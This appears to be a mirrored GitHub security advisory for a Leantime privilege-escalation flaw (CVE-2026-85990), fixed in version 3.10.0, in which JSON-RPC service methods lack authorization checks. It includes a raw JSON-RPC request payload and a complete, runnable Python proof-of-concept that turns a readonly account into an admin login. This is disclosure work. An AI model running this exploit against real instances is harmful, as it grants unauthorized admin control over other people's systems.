GHSA-54MM-6729-R5WP
Vulnerability from github – Published: 2026-10-15 20:14 – Updated: 2026-10-15 20:14Summary
Any authenticated Leantime user - including the lowest-privilege readonly role - can escalate to full administrative access by calling the JSON-RPC method leantime.rpc.api.api.createApiKeyWithProjects with an attacker-chosen role value. The server creates a new account at that role with no authorization check, and the resulting credentials work as a fully interactive admin login through the ordinary web UI. The same root cause (missing per-method authorization on JSON-RPC-exposed service methods) also leaves the Plugins service's installPlugin, enablePlugin, disablePlugin, and removePlugin methods callable by any authenticated user with no role check, even though their web-UI equivalents correctly require an admin/owner role.
Details
Leantime's JSON-RPC API (app/Domain/Api/Controllers/Jsonrpc.php) reflects any public method on any @api-annotated service class and dispatches it at leantime.rpc.{domain}.{service}.{method}. Per-method authorization is enforced by PermissionEnforcer::enforce() (app/Core/Auth/Permissions/PermissionEnforcer.php), which reads a #[RequiresPermission(...)] PHP attribute off the target method - but when that attribute is absent, enforce() silently returns and allows the call through.
Api::createApiKeyWithProjects(array $values, ?array $projects) (app/Domain/Api/Services/Api.php) is @api-exposed and carries no #[RequiresPermission] attribute. It forwards $values - including a caller-supplied role - directly into createAPIKey() → Users\Repositories\Users::addUser(), with no server-side clamping of role against the calling user's own privilege level:
// app/Domain/Api/Services/Api.php
/**
* @api
*/
public function createApiKeyWithProjects(array $values, ?array $projects): array|false
{
$apiKeyValues = $this->createAPIKey($values); // no #[RequiresPermission], no role check
...
}
The equivalent web route (NewApiKey controller) correctly gates account creation behind an admin-only role check (Auth::authOrRedirect([Roles::$admin, ...])), but that gate is bypassed entirely by calling the service directly through JSON-RPC.
Separately, Plugins::installPlugin(), enablePlugin(), disablePlugin(), and removePlugin() (app/Domain/Plugins/Services/Plugins.php, lines ~266/299/320/342) share the same gap: all four are @api-exposed with no #[RequiresPermission], while their web-controller equivalents (Myapps.php, Details.php) correctly require Roles::$owner/Roles::$admin.
Authenticating to the JSON-RPC endpoint with an ordinary browser session cookie (rather than a dedicated API key) is sufficient, provided the request carries an X-Requested-With: XMLHttpRequest header (app/Core/Middleware/StartSession.php) - this is exactly what the application's own first-party JS client already sends, so no special tooling beyond a normal authenticated session is needed.
PoC
A runnable Python PoC (requests library only) reproduces this end-to-end; see the attached poc.py. Steps:
- Create/authenticate as a
readonly-role account (the lowest privilege level). Confirm it is correctly blocked (HTTP 403) from an admin-only page, e.g./plugins/myapps. - From that same low-privilege session, send: ``` POST /api/jsonrpc Content-Type: application/json X-Requested-With: XMLHttpRequest
{"jsonrpc":"2.0","id":1,"method":"leantime.rpc.api.api.createApiKeyWithProjects",
"params":{"values":{"firstname":"poc","role":40,"status":"a"},"projects":[]}}
``
The server respondsHTTP 200with the newly created account'suser/passwordCleanand"role":40(admin) in the JSON body.
3. Log in through the normal/auth/loginform using the returneduser/passwordClean. The resulting session now has full, interactive access to/plugins/myapps` (HTTP 200) - the exact page that returned 403 in step 1.
Reproduced against a local instance built from this repository's own .dev Docker tooling (.dev/docker-compose.yaml), with dependencies installed via composer install / npx mix and no modifications to application code.
Impact
Complete compromise of any Leantime instance by an attacker who controls, or can register/be granted, any authenticated account - including the lowest-privilege readonly role. No admin credentials, tokens, or prior access beyond an ordinary low-privilege login are required. This is a full authenticated-to-admin privilege escalation (CWE-862 Missing Authorization, CWE-269 Improper Privilege Management). Combined with the plugin-management gap described above, it further extends to arbitrary plugin install/enable/disable/remove, a path toward code-execution-level impact tracked from the same root cause.
Script : poc.py
#!/usr/bin/env python3
"""
What this script does, against a target Leantime instance:
1. Logs in as a LOW-PRIVILEGE account (readonly role by default).
2. Confirms the account is correctly blocked by the normal web UI from an
admin-only page (expects HTTP 403) -- this establishes the account truly
has no admin rights before the exploit runs.
3. Calls leantime.rpc.api.api.createApiKeyWithProjects over JSON-RPC using
nothing but that account's own ordinary session cookie, requesting
role=40 (admin). No admin/API-key credential is used anywhere in this
step -- only the low-privilege session established in step 1.
4. Logs in through the completely ordinary web login form using the
generated username/password from step 3, and confirms that account now
has full, interactive admin access to the same admin-only page that
blocked the original low-privilege account in step 2. (The record is
created with source='' rather than source='api' -- createAPIKey() never
sets that column -- so it does NOT work as an x-api-key credential, but
it is a fully functional role=40 web login, which is a stronger and
more direct proof of impact.)
Requirements: pip install requests
Usage:
python3 poc.py --url http://localhost:5080 \\
--username lowpriv@leantime.test --password 'LowPriv123!'
"""
import argparse
import sys
import requests
def rpc_call(session: requests.Session, base_url: str, method: str, params: dict, extra_headers: dict | None = None):
"""Call a JSON-RPC method. Sends X-Requested-With so the session-based
guard actually loads the caller's real, persisted session (see
StartSession.php:65) -- without it, API requests get a fresh, empty,
in-memory session and every call 401s regardless of login state."""
headers = {
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest",
}
if extra_headers:
headers.update(extra_headers)
resp = session.post(
f"{base_url}/api/jsonrpc",
json={"jsonrpc": "2.0", "id": 1, "method": method, "params": params},
headers=headers,
)
return resp
def main():
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--url", required=True, help="Base URL of the target Leantime instance, e.g. http://localhost:5080")
parser.add_argument("--username", required=True, help="Email of a LOW-privilege test account (e.g. readonly role)")
parser.add_argument("--password", required=True, help="Password for that account")
parser.add_argument("--admin-check-path", default="/plugins/myapps", help="An admin-only web page used to confirm the account has no admin rights (default: /plugins/myapps)")
parser.add_argument("--insecure", action="store_true", help="Disable TLS verification (for self-signed local/dev instances)")
args = parser.parse_args()
verify = not args.insecure
base_url = args.url.rstrip("/")
s = requests.Session()
s.verify = verify
print(f"[*] Target: {base_url}")
# Step 1: log in as the low-privilege account via the ordinary web form.
print(f"[*] Logging in as low-privilege account: {args.username}")
s.get(f"{base_url}/auth/login") # prime session cookie
login_resp = s.post(
f"{base_url}/auth/login",
data={
"username": args.username,
"password": args.password,
"redirectUrl": "/dashboard/home", # avoid the unrelated empty-redirectUrl 500 bug
},
allow_redirects=False,
)
if login_resp.status_code not in (302, 303):
print(f"[!] Login did not redirect as expected (got {login_resp.status_code}). Aborting.")
sys.exit(1)
print("[+] Login succeeded (session cookie established).")
# Step 2: confirm the account genuinely has no admin rights via the web UI.
check_resp = s.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
if check_resp.status_code == 403:
print(f"[+] Confirmed: web UI correctly blocks this account from {args.admin_check_path} (HTTP 403).")
else:
print(f"[!] Expected HTTP 403 from {args.admin_check_path}, got {check_resp.status_code}. "
f"Continuing anyway, but this account may not be low-privilege as assumed.")
# Step 3: the actual privilege escalation -- same session, no API key used.
print("[*] Calling leantime.rpc.api.api.createApiKeyWithProjects with role=40 (admin) "
"using ONLY the low-privilege session from step 1 ...")
esc_resp = rpc_call(
s,
base_url,
"leantime.rpc.api.api.createApiKeyWithProjects",
{"values": {"firstname": "poc-escalated-admin-key", "role": 40, "status": "a"}, "projects": []},
)
try:
esc_json = esc_resp.json()
except ValueError:
print(f"[!] Non-JSON response (HTTP {esc_resp.status_code}): {esc_resp.text[:500]}")
sys.exit(1)
if "error" in esc_json:
print(f"[!] Exploit call failed: {esc_json['error']}")
print(" (If this is 'Method is not available via API' or an AuthorizationException, "
"the target may already be patched.)")
sys.exit(1)
result = esc_json["result"]
new_user = result["user"]
new_pass = result["passwordClean"]
new_role = result["role"]
new_id = result["id"]
api_key = f"lt_{new_user}_{new_pass}"
print("[+] VULNERABLE: server created a new account with attacker-chosen role, "
"with no permission check on the calling (low-privilege) account.")
print(f" New account id={new_id} role={new_role} (40 == admin)")
print(f" Generated credentials -- username: {new_user} password: {new_pass}")
print(f" (Nominal API key form: {api_key} -- see note below.)")
# Step 4: prove the new account carries real, interactive admin privilege
# by logging in through the ORDINARY web login form and hitting the same
# admin-only page that blocked the original low-privilege account.
print("[*] Logging in through the normal web UI with the generated credentials ...")
admin_session = requests.Session()
admin_session.verify = verify
admin_session.get(f"{base_url}/auth/login")
admin_login_resp = admin_session.post(
f"{base_url}/auth/login",
data={"username": new_user, "password": new_pass, "redirectUrl": "/dashboard/home"},
allow_redirects=False,
)
if admin_login_resp.status_code not in (302, 303):
print(f"[!] Web login with generated credentials failed (HTTP {admin_login_resp.status_code}).")
sys.exit(1)
admin_check_resp = admin_session.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
if admin_check_resp.status_code == 200:
print(f"[+] CONFIRMED: the account created by a LOW-PRIVILEGE user now has full, "
f"interactive admin access to {args.admin_check_path} (HTTP 200) -- "
f"the exact page that returned 403 for the original account in step 2.")
else:
print(f"[!] Expected HTTP 200 from {args.admin_check_path} with the escalated account, "
f"got {admin_check_resp.status_code}.")
if __name__ == "__main__":
main()
Maintainer note (resolution): Addressed by the native permission engine (v3.9.0): the affected JSON-RPC service methods now carry #[RequiresPermission] and are enforced at the API boundary (users/clients/projects mutations require the appropriate permission; self-escalation via editUser/patchUser is blocked). Remaining gates ship in the upcoming release.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "leantime/leantime"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-85990"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:14:43Z",
"nvd_published_at": "2026-10-13T17:17:47Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAny authenticated Leantime user - including the lowest-privilege `readonly` role - can escalate to full administrative access by calling the JSON-RPC method `leantime.rpc.api.api.createApiKeyWithProjects` with an attacker-chosen `role` value. The server creates a new account at that role with no authorization check, and the resulting credentials work as a fully interactive admin login through the ordinary web UI. The same root cause (missing per-method authorization on JSON-RPC-exposed service methods) also leaves the `Plugins` service\u0027s `installPlugin`, `enablePlugin`, `disablePlugin`, and `removePlugin` methods callable by any authenticated user with no role check, even though their web-UI equivalents correctly require an admin/owner role.\n\n### Details\n\nLeantime\u0027s JSON-RPC API (`app/Domain/Api/Controllers/Jsonrpc.php`) reflects any public method on any `@api`-annotated service class and dispatches it at `leantime.rpc.{domain}.{service}.{method}`. Per-method authorization is enforced by `PermissionEnforcer::enforce()` (`app/Core/Auth/Permissions/PermissionEnforcer.php`), which reads a `#[RequiresPermission(...)]` PHP attribute off the target method - but when that attribute is **absent**, `enforce()` silently returns and allows the call through.\n\n`Api::createApiKeyWithProjects(array $values, ?array $projects)` (`app/Domain/Api/Services/Api.php`) is `@api`-exposed and carries no `#[RequiresPermission]` attribute. It forwards `$values` - including a caller-supplied `role` - directly into `createAPIKey()` \u2192 `Users\\Repositories\\Users::addUser()`, with no server-side clamping of `role` against the calling user\u0027s own privilege level:\n\n```php\n// app/Domain/Api/Services/Api.php\n/**\n * @api\n */\npublic function createApiKeyWithProjects(array $values, ?array $projects): array|false\n{\n $apiKeyValues = $this-\u003ecreateAPIKey($values); // no #[RequiresPermission], no role check\n ...\n}\n```\n\nThe equivalent web route (`NewApiKey` controller) correctly gates account creation behind an admin-only role check (`Auth::authOrRedirect([Roles::$admin, ...])`), but that gate is bypassed entirely by calling the service directly through JSON-RPC.\n\nSeparately, `Plugins::installPlugin()`, `enablePlugin()`, `disablePlugin()`, and `removePlugin()` (`app/Domain/Plugins/Services/Plugins.php`, lines ~266/299/320/342) share the same gap: all four are `@api`-exposed with no `#[RequiresPermission]`, while their web-controller equivalents (`Myapps.php`, `Details.php`) correctly require `Roles::$owner`/`Roles::$admin`.\n\nAuthenticating to the JSON-RPC endpoint with an ordinary browser session cookie (rather than a dedicated API key) is sufficient, provided the request carries an `X-Requested-With: XMLHttpRequest` header (`app/Core/Middleware/StartSession.php`) - this is exactly what the application\u0027s own first-party JS client already sends, so no special tooling beyond a normal authenticated session is needed.\n\n### PoC\n\nA runnable Python PoC (`requests` library only) reproduces this end-to-end; see the attached `poc.py`. Steps:\n\n1. Create/authenticate as a `readonly`-role account (the lowest privilege level). Confirm it is correctly blocked (HTTP 403) from an admin-only page, e.g. `/plugins/myapps`.\n2. From that same low-privilege session, send:\n ```\n POST /api/jsonrpc\n Content-Type: application/json\n X-Requested-With: XMLHttpRequest\n\n {\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"leantime.rpc.api.api.createApiKeyWithProjects\",\n \"params\":{\"values\":{\"firstname\":\"poc\",\"role\":40,\"status\":\"a\"},\"projects\":[]}}\n ```\n The server responds `HTTP 200` with the newly created account\u0027s `user`/`passwordClean` and `\"role\":40` (admin) in the JSON body.\n3. Log in through the normal `/auth/login` form using the returned `user`/`passwordClean`. The resulting session now has full, interactive access to `/plugins/myapps` (HTTP 200) - the exact page that returned 403 in step 1.\n\nReproduced against a local instance built from this repository\u0027s own `.dev` Docker tooling (`.dev/docker-compose.yaml`), with dependencies installed via `composer install` / `npx mix` and no modifications to application code.\n\n### Impact\n\nComplete compromise of any Leantime instance by an attacker who controls, or can register/be granted, any authenticated account - including the lowest-privilege `readonly` role. No admin credentials, tokens, or prior access beyond an ordinary low-privilege login are required. This is a full authenticated-to-admin privilege escalation (CWE-862 Missing Authorization, CWE-269 Improper Privilege Management). Combined with the plugin-management gap described above, it further extends to arbitrary plugin install/enable/disable/remove, a path toward code-execution-level impact tracked from the same root cause.\n\nScript : poc.py\n```python\n#!/usr/bin/env python3\n\"\"\"\nWhat this script does, against a target Leantime instance:\n 1. Logs in as a LOW-PRIVILEGE account (readonly role by default).\n 2. Confirms the account is correctly blocked by the normal web UI from an\n admin-only page (expects HTTP 403) -- this establishes the account truly\n has no admin rights before the exploit runs.\n 3. Calls leantime.rpc.api.api.createApiKeyWithProjects over JSON-RPC using\n nothing but that account\u0027s own ordinary session cookie, requesting\n role=40 (admin). No admin/API-key credential is used anywhere in this\n step -- only the low-privilege session established in step 1.\n 4. Logs in through the completely ordinary web login form using the\n generated username/password from step 3, and confirms that account now\n has full, interactive admin access to the same admin-only page that\n blocked the original low-privilege account in step 2. (The record is\n created with source=\u0027\u0027 rather than source=\u0027api\u0027 -- createAPIKey() never\n sets that column -- so it does NOT work as an x-api-key credential, but\n it is a fully functional role=40 web login, which is a stronger and\n more direct proof of impact.)\n\nRequirements: pip install requests\n\nUsage:\n python3 poc.py --url http://localhost:5080 \\\\\n --username lowpriv@leantime.test --password \u0027LowPriv123!\u0027\n\"\"\"\n\nimport argparse\nimport sys\n\nimport requests\n\n\ndef rpc_call(session: requests.Session, base_url: str, method: str, params: dict, extra_headers: dict | None = None):\n \"\"\"Call a JSON-RPC method. Sends X-Requested-With so the session-based\n guard actually loads the caller\u0027s real, persisted session (see\n StartSession.php:65) -- without it, API requests get a fresh, empty,\n in-memory session and every call 401s regardless of login state.\"\"\"\n headers = {\n \"Content-Type\": \"application/json\",\n \"X-Requested-With\": \"XMLHttpRequest\",\n }\n if extra_headers:\n headers.update(extra_headers)\n\n resp = session.post(\n f\"{base_url}/api/jsonrpc\",\n json={\"jsonrpc\": \"2.0\", \"id\": 1, \"method\": method, \"params\": params},\n headers=headers,\n )\n return resp\n\n\ndef main():\n parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument(\"--url\", required=True, help=\"Base URL of the target Leantime instance, e.g. http://localhost:5080\")\n parser.add_argument(\"--username\", required=True, help=\"Email of a LOW-privilege test account (e.g. readonly role)\")\n parser.add_argument(\"--password\", required=True, help=\"Password for that account\")\n parser.add_argument(\"--admin-check-path\", default=\"/plugins/myapps\", help=\"An admin-only web page used to confirm the account has no admin rights (default: /plugins/myapps)\")\n parser.add_argument(\"--insecure\", action=\"store_true\", help=\"Disable TLS verification (for self-signed local/dev instances)\")\n args = parser.parse_args()\n\n verify = not args.insecure\n base_url = args.url.rstrip(\"/\")\n s = requests.Session()\n s.verify = verify\n\n print(f\"[*] Target: {base_url}\")\n\n # Step 1: log in as the low-privilege account via the ordinary web form.\n print(f\"[*] Logging in as low-privilege account: {args.username}\")\n s.get(f\"{base_url}/auth/login\") # prime session cookie\n login_resp = s.post(\n f\"{base_url}/auth/login\",\n data={\n \"username\": args.username,\n \"password\": args.password,\n \"redirectUrl\": \"/dashboard/home\", # avoid the unrelated empty-redirectUrl 500 bug\n },\n allow_redirects=False,\n )\n if login_resp.status_code not in (302, 303):\n print(f\"[!] Login did not redirect as expected (got {login_resp.status_code}). Aborting.\")\n sys.exit(1)\n print(\"[+] Login succeeded (session cookie established).\")\n\n # Step 2: confirm the account genuinely has no admin rights via the web UI.\n check_resp = s.get(f\"{base_url}{args.admin_check_path}\", allow_redirects=False)\n if check_resp.status_code == 403:\n print(f\"[+] Confirmed: web UI correctly blocks this account from {args.admin_check_path} (HTTP 403).\")\n else:\n print(f\"[!] Expected HTTP 403 from {args.admin_check_path}, got {check_resp.status_code}. \"\n f\"Continuing anyway, but this account may not be low-privilege as assumed.\")\n\n # Step 3: the actual privilege escalation -- same session, no API key used.\n print(\"[*] Calling leantime.rpc.api.api.createApiKeyWithProjects with role=40 (admin) \"\n \"using ONLY the low-privilege session from step 1 ...\")\n esc_resp = rpc_call(\n s,\n base_url,\n \"leantime.rpc.api.api.createApiKeyWithProjects\",\n {\"values\": {\"firstname\": \"poc-escalated-admin-key\", \"role\": 40, \"status\": \"a\"}, \"projects\": []},\n )\n\n try:\n esc_json = esc_resp.json()\n except ValueError:\n print(f\"[!] Non-JSON response (HTTP {esc_resp.status_code}): {esc_resp.text[:500]}\")\n sys.exit(1)\n\n if \"error\" in esc_json:\n print(f\"[!] Exploit call failed: {esc_json[\u0027error\u0027]}\")\n print(\" (If this is \u0027Method is not available via API\u0027 or an AuthorizationException, \"\n \"the target may already be patched.)\")\n sys.exit(1)\n\n result = esc_json[\"result\"]\n new_user = result[\"user\"]\n new_pass = result[\"passwordClean\"]\n new_role = result[\"role\"]\n new_id = result[\"id\"]\n api_key = f\"lt_{new_user}_{new_pass}\"\n\n print(\"[+] VULNERABLE: server created a new account with attacker-chosen role, \"\n \"with no permission check on the calling (low-privilege) account.\")\n print(f\" New account id={new_id} role={new_role} (40 == admin)\")\n print(f\" Generated credentials -- username: {new_user} password: {new_pass}\")\n print(f\" (Nominal API key form: {api_key} -- see note below.)\")\n\n # Step 4: prove the new account carries real, interactive admin privilege\n # by logging in through the ORDINARY web login form and hitting the same\n # admin-only page that blocked the original low-privilege account.\n print(\"[*] Logging in through the normal web UI with the generated credentials ...\")\n admin_session = requests.Session()\n admin_session.verify = verify\n admin_session.get(f\"{base_url}/auth/login\")\n admin_login_resp = admin_session.post(\n f\"{base_url}/auth/login\",\n data={\"username\": new_user, \"password\": new_pass, \"redirectUrl\": \"/dashboard/home\"},\n allow_redirects=False,\n )\n if admin_login_resp.status_code not in (302, 303):\n print(f\"[!] Web login with generated credentials failed (HTTP {admin_login_resp.status_code}).\")\n sys.exit(1)\n\n admin_check_resp = admin_session.get(f\"{base_url}{args.admin_check_path}\", allow_redirects=False)\n if admin_check_resp.status_code == 200:\n print(f\"[+] CONFIRMED: the account created by a LOW-PRIVILEGE user now has full, \"\n f\"interactive admin access to {args.admin_check_path} (HTTP 200) -- \"\n f\"the exact page that returned 403 for the original account in step 2.\")\n else:\n print(f\"[!] Expected HTTP 200 from {args.admin_check_path} with the escalated account, \"\n f\"got {admin_check_resp.status_code}.\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n---\n\n**Maintainer note (resolution):** Addressed by the native permission engine (v3.9.0): the affected JSON-RPC service methods now carry #[RequiresPermission] and are enforced at the API boundary (users/clients/projects mutations require the appropriate permission; self-escalation via editUser/patchUser is blocked). Remaining gates ship in the upcoming release.",
"id": "GHSA-54mm-6729-r5wp",
"modified": "2026-10-15T20:14:43Z",
"published": "2026-10-15T20:14:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime/security/advisories/GHSA-54mm-6729-r5wp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85990"
},
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime/pull/3583"
},
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime/pull/3797"
},
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime/commit/5605e5ee86bbd01acb85c6b5d8fb337faf8bcf02"
},
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime/commit/7ebf7a9517e2aaa05ec15b8130ab1841a4bde43e"
},
{
"type": "PACKAGE",
"url": "https://github.com/Leantime/leantime"
},
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime/releases/tag/v3.10.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Leantime: Any Authenticated User Can Self-Escalate to Admin via Unauthorized JSON-RPC Methods"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.